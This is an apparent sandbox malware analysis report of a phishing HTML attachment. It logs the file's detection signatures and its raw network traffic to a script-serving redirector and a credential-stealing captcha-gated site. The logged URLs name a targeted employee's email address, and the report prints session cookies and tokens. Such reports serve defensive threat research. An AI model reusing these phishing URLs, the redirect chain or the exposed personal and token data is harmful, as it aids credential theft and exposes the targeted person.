Edit tour

Windows Analysis Report
Audio.wavqvc.com10098.html

Overview

General Information

Sample name:	Audio.wavqvc.com10098.html
Analysis ID:	1531680
MD5:	87cd8fb18992ce172b596ce6b2dbea27
SHA1:	eeee0b3df286c3be26ed9d65d9fe4b188ab0650b
SHA256:	9e3b1917bf77b7c563b5732965acf0dd9035541510cc61b187f3ccd8905d7af9
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Phishing site detected (based on shot match)

HTML page contains hidden javascript code

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio.wavqvc.com10098.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2032,i,9994889272680913447,6764105540733817126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on shot match)

Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	Matcher: Template: captcha matched
Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	Matcher: Template: captcha matched

Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20SREF6k%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

Source: Audio.wavqvc.com10098.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Audio.wavqvc.com10098.html	HTTP Parser: No favicon
Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	HTTP Parser: No favicon
Source: https://9q.iountanic.com/4rGra/#Q#Tdavid.dimauro@qvc.com	HTTP Parser: No favicon
Source: https://www.sephora.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49747 version: TLS 1.2

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 52.222.236.22 52.222.236.22
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f39512e696f756e74616e69632e636f6d2f34724772612f-mandrill HTTP/1.1Host: mollysirishpub-tol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f39512e696f756e74616e69632e636f6d2f34724772612f-mandrill HTTP/1.1Host: mollysirishpub-tol.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4rGra/ HTTP/1.1Host: 9q.iountanic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://9q.iountanic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d0f56a70cadc3ff&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 9q.iountanic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9q.iountanic.com/4rGra/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkFqeGtBNmFyN2M5WlRkbkkzUnVuZWc9PSIsInZhbHVlIjoidmtDZEVzZ0l0ci9UbmNJNnVTdDRsYVFmRUpKUG95aDBVUVFMWGJOQXNiRi9RdGVmWGZtUG4xU2VWQ2ZTdDYyWkpQOVROOUIrd2RDT3lBK2JqVWtGbFJka1NWRmhUYjhZN2hCdkg3R0o3L1AveTQ5YUdYVGQ3UjRBcTVWTWk0MGEiLCJtYWMiOiJmZTEyMGM3NWJlZTVhMDAyNTMwNDlmNjY3YWZmMTVlM2QwNmZlZTE5MjIwYzZjOTMwZWNmMDE2YWUxM2IxZTFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InI1OExZUE1jdWplemMzTU4wbzYxbnc9PSIsInZhbHVlIjoiNGtDTVN1Ui9wd05sMTZ3aWd5MEJyeXRDTi9CdDJSSm54NlNrZiszeTZ5dHlGWGd4NUwyQmdDbm1razBGYitMSmJRTFVuQWRmK2hML1BpVWdhaHFNS3A4SWxJYzM0NHh5NHVra2ZXS1N3OTRKcGNSemxTblh4aFZqMjZsVm5kNmEiLCJtYWMiOiI1NzAyZGZhN2IxMzUxN2JlYjVhYzBjMmRkZjRiODlmNjA0MGMxYzZkZGRiNWZmY2JhMTk3MWJkMjU4ZGQ2Y2MyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d0f56a70cadc3ff&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8d0f56a70cadc3ff/1728654830319/ed0dfd9d95f03a14d7f4f65d6e79c89bcf16f1c60c7616b4771f0c4404addab0/QyWZqM6CsEeF5Ob HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RmFG7hRy6DX5H2f&MD=tARowUD4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAR1ikA1bx%2BNSN6dbT91HFoKUbpwocyq%2BHNukIEKBotHf1WvEwyUsaZZBN6ZC04yPDgMOiXE9g9m5TBEShiTRXbOWE6xds%2BTGgvRvovS54DAatA39hHz96nJz4cqwSq3VlmEOd%2BXxM2mvEZQ7ldPy/M3b1HpPpCPM%2BHGTIjp%2BsexB/g0diatKiI9sXJHiVYlPEUvbbpBACF6amW2HTOG1TnLcBDaTrMcqhqdG55hXDl5DrvEgNngh/Q86sUAi4zWO31EgM6KGQT/1jAYAeQ2Ur33Bk1qbd0ACGVvPfASaq8GhTf6glWjNGkCmJEbX1TtMPq35x7wgk3n24Kv3W/asHGIQZgAAEPx0sb7a2K0MMxChdm73kOuwAei1uY/eKGQ7snaeH4OnK6tVgnZf9zZ0V/R12uBYXBcbGMleIpAny6IC%2BwlctDTfoa%2BVNzdbRMoL9YiQKZ57yqzszXTSRI5TaaMPMW3Nc1GdEotluDcqcmNAtFiXMc6bkzDgP9Lc9EV8vso6NDFZpzjYQwwLta7cX9aFGCeGU0vu04vLrPLWmrEjarbE14ESU3TSMmhvOXzyR5mQ08xzcy035KmpctVYa4uKpeKa/h/KcDcTtbbvmHorm/wTPJE7AoqEeH6cHhZoFkYZWhPB1xHmmb5WBzYRz/dcVp9AmYKwfkahn%2BZ1WQZEnvZYm8MZmKcFslII8a66yuo4u8ogluPFtxkJpJ5Ie6otFgwGjoVXmi2qcXBZoDg09H